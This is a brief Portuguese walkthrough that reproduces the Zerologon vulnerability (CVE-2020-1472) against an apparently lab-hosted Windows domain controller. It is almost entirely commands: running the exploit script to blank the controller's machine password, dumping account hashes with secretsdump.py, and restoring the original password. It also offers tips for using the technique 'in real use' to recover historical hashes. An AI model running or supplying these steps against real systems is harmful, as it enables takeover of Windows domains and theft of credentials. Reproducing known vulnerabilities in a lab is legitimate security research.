
Processo de reprodução do CVE-2020-1472
Após a reprodução, há um pequeno bug: ao reiniciar, o sistema demora bastante na tela de login. Não sei se é apenas comigo. (Tenha cautela ao utilizar em ambiente real) Em uso real, você pode usar as opções -use-vss e -history do secretsdump.py para obter hashes históricos e realizar a recuperação.
Primeiro passo
pip3 install -r requirements.txt
Ver o hash
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'

Ataque
python3 CVE-2020-1472.py AD AD$ 192.168.175.132

Consultar hash do controlador de domínio
secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

Restaurar hash
python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145

Consultar o hash após a restauração
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'

Fonte dos scripts https://github.com/blackarrowsec/redteam-research